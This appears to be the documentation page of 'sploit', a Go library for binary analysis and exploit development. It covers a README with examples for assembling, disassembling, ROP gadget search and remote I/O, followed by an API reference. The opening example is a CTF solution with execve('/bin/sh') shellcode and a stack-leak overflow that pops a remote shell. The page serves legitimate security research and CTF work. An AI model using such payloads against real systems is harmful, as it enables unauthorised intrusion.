sploit

package module
v0.1.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Dec 30, 2020 License: MIT Imports: 16 Imported by: 0

README

sploit Build Status

Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the Go programming language. Excellent cross-compiler support, goroutines, powerful crypto libraries, and static typing are just a few of the reasons for choosing Go.

This project is inspired by pwntools and other awesome projects. It is still early in development. Expect for this project to be focused heavily on shellcoding, binary patching, ROP stack construction, and general binary analysis.

Solution for a CTF Challenge
package main;

import(
    sp "github.com/zznop/sploit"
)

var arch = &sp.Processor {
    Architecture: sp.ArchI386,
    Endian: sp.LittleEndian,
}

var scInstrs = `mov al, 0xb   /* __NR_execve */
                sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
                mov ebx, esp  /* filename (/bin/sh) */
                xor ecx, ecx  /* argv (NULL) */
                xor edx, edx  /* envp (NULL) */
                int 0x80`

func main() {
    shellcode, _ := sp.Asm(arch, scInstrs)
    r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
    defer r.Close()
    r.RecvUntil([]byte("HELLO:"), true)

    // Leak a stack address
    r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
    resp, _ := r.RecvN(20)
    leakAddr := sp.UnpackUint32LE(resp[0:4])

    // Pop a shell
    junk := make([]byte, 20-len(shellcode))
    junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
    r.Send(append(shellcode, junk...))
    r.Interactive()
}
Compiling Assembly to Machine Code
package main;

import(
    "github.com/zznop/sploit"
    "encoding/hex"
    "fmt"
)

func main() {
    instrs := "mov rcx, r12\n"              +
              "mov rdx, r13\n"              +
              "mov r8, 0x1f\n"              +
              "xor r9, r9\n"                +
              "sub rsp, 0x8\n"              +
              "mov qword [rsp+0x20], rax\n"

    arch := &sploit.Processor {
        Architecture: sploit.ArchX8664,
        Endian: sploit.LittleEndian,
    }

    opcode, _ := sploit.Asm(arch, instrs)
    fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}
$ ./assemble_example
Opcode bytes:
00000000  4c 89 e1 4c 89 ea 49 c7  c0 1f 00 00 00 4d 31 c9  |L..L..I......M1.|
00000010  48 83 ec 08 48 89 44 24  28                       |H...H.D$(|
Disassembling Code in an ELF Executable
package main;

import(
    "github.com/zznop/sploit"
    "fmt"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    vaddr := uint64(0x1135)
    count := 34
    fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
    disasm, _ := elf.Disasm(vaddr, count)
    fmt.Print(disasm)
}
$ ./disassemble_example
Disassembling 34 bytes at vaddr:00001135
00001135: push rbp
00001136: mov rbp, rsp
00001139: sub rsp, 0x10
0000113d: mov dword ptr [rbp - 4], edi
00001140: mov qword ptr [rbp - 0x10], rsi
00001144: lea rdi, [rip + 0xeb9]
0000114b: call 0x1030
00001150: mov eax, 0
00001155: leave
00001156: ret
Querying and Filtering ROP Gadgets
package main;

import(
    "github.com/zznop/sploit"
)

var program = "../test/prog1.x86_64"

func main() {
    elf, _ := sploit.NewELF(program)
    rop, _ := elf.ROP()

    matched, _ := rop.InstrSearch("pop rbp")
    matched.Dump()
}
0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...

Dependencies

Some of Sploit's functionality relies on external dependencies. For instance, Sploit uses GCC's GAS assembler to compile assembly code and capstone to disassemble compiled code as part of the API exposed by asm.go.

Install capstone:

git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install

Install GCC cross-compilers. The following commands assume you are running Debian or Ubuntu on a Intel workstation and may need changed if running another Linux distro:

sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
  gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu

Documentation

Index

Constants

View Source
const ArchAARCH64 = 3

ArchAARCH64 - ARM (64-bit)

View Source
const ArchARM = 2

ArchARM - ARM (32-bit)

View Source
const ArchI386 = 1

ArchI386 - Intel x86

View Source
const ArchIA64 = 6

ArchIA64 - Intel Itanium

View Source
const ArchMIPS = 5

ArchMIPS - MIPS

View Source
const ArchPPC = 4

ArchPPC - PowerPC

View Source
const ArchX8664 = 0

ArchX8664 indicates Intel x86-64 ISA

View Source
const ELFFile = 1

ELFFile represents Unix ELF file format

View Source
const PEFile = 0

PEFile represents Microsoft PE file format

View Source
const UnknownFile = 2

UnknownFile indicates that the file format is unsupported

Variables

This section is empty.

Functions

func Asm

func Asm(processor *Processor, code string) ([]byte, error)

Asm complies assembly instructions to a byte slice containing machine code

func Disasm

func Disasm(address uint64, code []byte, processor *Processor) (string, error)

Disasm disassembles a supplied byte slice and returns a string containing the assembly instructions

func PackUint16BE

func PackUint16BE(i uint16) []byte

PackUint16BE packs a uint16 into a byte slice in big endian format

func PackUint16LE

func PackUint16LE(i uint16) []byte

PackUint16LE packs a uint16 into a byte slice in little endian format

func PackUint32BE

func PackUint32BE(i uint32) []byte

PackUint32BE packs a uint32 into a byte slice in big endian format

func PackUint32LE

func PackUint32LE(i uint32) []byte

PackUint32LE packs a uint32 into a byte slice in little endian format

func PackUint64BE

func PackUint64BE(i uint64) []byte

PackUint64BE packs a uint64 into a byte slice in big endian format

func PackUint64LE

func PackUint64LE(i uint64) []byte

PackUint64LE packs a uint64 into a byte slice in little endian format

func UnpackUint16BE

func UnpackUint16BE(b []byte) uint16

UnpackUint16BE unpacks a byte slice in big endian format into a uint16

func UnpackUint16LE

func UnpackUint16LE(b []byte) uint16

UnpackUint16LE unpacks a byte slice in little endian format into a uint16

func UnpackUint32BE

func UnpackUint32BE(b []byte) uint32

UnpackUint32BE unpacks a byte slice in big endian format into a uint32

func UnpackUint32LE

func UnpackUint32LE(b []byte) uint32

UnpackUint32LE unpacks a byte slice in little endian format into a uint32

func UnpackUint64BE

func UnpackUint64BE(b []byte) uint64

UnpackUint64BE unpacks a byte slice in big endian format into a uint64

func UnpackUint64LE

func UnpackUint64LE(b []byte) uint64

UnpackUint64LE unpacks a byte slice in little endian format into a uint64

Types

type Architecture

type Architecture uint16

Architecture represents processor architecture

type ELF

type ELF struct {
	E           *elf.File
	Processor   *Processor
	PIE         bool
	Mitigations *Mitigations
}

ELF is a struct that contains methods for operating on an ELF file

func NewELF

func NewELF(filename string) (*ELF, error)

NewELF loads a ELF file from disk and initializes the ELF struct

func (*ELF) BSS

func (e *ELF) BSS(offset uint64) (uint64, error)

BSS is an ELF method that returns the virtual address of the specified offset into the .bss section

func (*ELF) Disasm

func (e *ELF) Disasm(address uint64, nBytes int) (string, error)

Disasm is an ELF method that disassembles code at the specified virtual address and returns a string containing assembly instructions

func (*ELF) GetOpcodeVAddrs

func (e *ELF) GetOpcodeVAddrs(signature []byte) ([]uint64, error)

GetOpcodeVAddrs is an ELF method that searches for the specified sequence of bytes in executable segments only

func (*ELF) GetSignatureVAddrs

func (e *ELF) GetSignatureVAddrs(signature []byte) ([]uint64, error)

GetSignatureVAddrs is an ELF method that searches for the specified sequence of bytes in all segments

func (*ELF) OffsetToAddr

func (e *ELF) OffsetToAddr(offset uint64) (uint64, error)

OffsetToVA determines the virtual address for the specified file offset

func (*ELF) ROP

func (e *ELF) ROP() (*ROP, error)

ROP is an ELF method that locates all ROP gadgets in the ELF's executable segments and returns a ROP object

func (*ELF) Read

func (e *ELF) Read(address uint64, nBytes int) ([]byte, error)

Read is an ELF method that returns a slice of bytes read from the ELF at the specified virtual address

func (*ELF) Read16BE

func (e *ELF) Read16BE(address uint64) (uint16, error)

Read16BE is an ELF method that reads 16 bits from the ELF at the specified address and returns a Uint16 in big endian byte order

func (*ELF) Read16LE

func (e *ELF) Read16LE(address uint64) (uint16, error)

Read16LE is an ELF method that reads 16 bits from the ELF at the specified address and returns a Uint16 in little endian byte order

func (*ELF) Read32BE

func (e *ELF) Read32BE(address uint64) (uint32, error)

Read32BE is an ELF method that reads 32 bits from the ELF at the specified address and returns a Uint32 in big endian byte order

func (*ELF) Read32LE

func (e *ELF) Read32LE(address uint64) (uint32, error)

Read32LE is an ELF method that reads 32 bits from the ELF at the specified address and returns a Uint32 in little endian byte order

func (*ELF) Read64BE

func (e *ELF) Read64BE(address uint64) (uint64, error)

Read64BE is an ELF method that reads 64 bits from the ELF at the specified address and returns a Uint64 in big endian byte order

func (*ELF) Read64LE

func (e *ELF) Read64LE(address uint64) (uint64, error)

Read64LE is an ELF method that reads 64 bits from the ELF at the specified address and returns a Uint64 in little endian byte order

func (*ELF) Read8

func (e *ELF) Read8(address uint64) (uint8, error)

Read8 is an ELF method that reads 8 bits from the ELF at the specified address and returns the data as a uint8

type Endian

type Endian int

Endian is a integer type that represents the byte order of a binary

const BigEndian Endian = 1

BigEndian - big endian byte order

const LittleEndian Endian = 0

LittleEndian - little endian byte order

func (Endian) String

func (e Endian) String() string

type FileFormat

type FileFormat uint16

FileFormat represents the type of file under analysis

type Gadget

type Gadget struct {
	Address uint64
	Instrs  string
	Opcode  []byte
}

Gadget stores information about a ROP gadgets including the address, instructions, and opcode bytes

type Mitigations

type Mitigations struct {
	Canary bool
	NX     bool
}

Mitigations is used to store information on exploit mitigations detected while loading the binary

type Processor

type Processor struct {
	Architecture Architecture
	Endian       Endian
}

Processor is a struct that represents a binary's machine type

type ROP

type ROP []*Gadget

ROP is a interface for working with ROP gadgets

func (*ROP) Dump

func (r *ROP) Dump()

Dump is a ROP method that locates and prints ROP gadgets contained in the ELF file to stdout

func (*ROP) InstrSearch

func (r *ROP) InstrSearch(regex string) (ROP, error)

InstrSearch is a ROP method that returns a ROP object containing gadgets with a sub-string match to the user-defined regex

type Remote

type Remote struct {
	HostPort string
	Host     string
	Port     uint16
	C        net.Conn
}

Remote is an interface for communicating over IP

func NewRemote

func NewRemote(protocol string, hostPort string) (*Remote, error)

NewRemote connects to the specified remote host and returns an initialized Remote instance

func (*Remote) Close

func (r *Remote) Close()

Close is a Remote method for closing the connection if it's active

func (*Remote) Interactive

func (r *Remote) Interactive() error

Interactive is a Remote method that allows the user to interact with a remote process manually

func (*Remote) RecvLine

func (r *Remote) RecvLine() ([]byte, error)

RecvLine is a Remote method for receiving data over IP until a newline delimiter is detected

func (*Remote) RecvN

func (r *Remote) RecvN(n int) ([]byte, error)

RecvN is a Remote method for receiving a specified number of bytes

func (*Remote) RecvUntil

func (r *Remote) RecvUntil(needle []byte, drop bool) ([]byte, error)

RecvUntil is a Remote method for receiving data over IP until the specified sequence of bytes is detected

func (*Remote) Send

func (r *Remote) Send(data []byte) (int, error)

Send is a Remote method for sending data over IP

func (*Remote) SendLine

func (r *Remote) SendLine(line []byte) (int, error)

SendLine is a Remote method for sending data with a trailing newline character

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL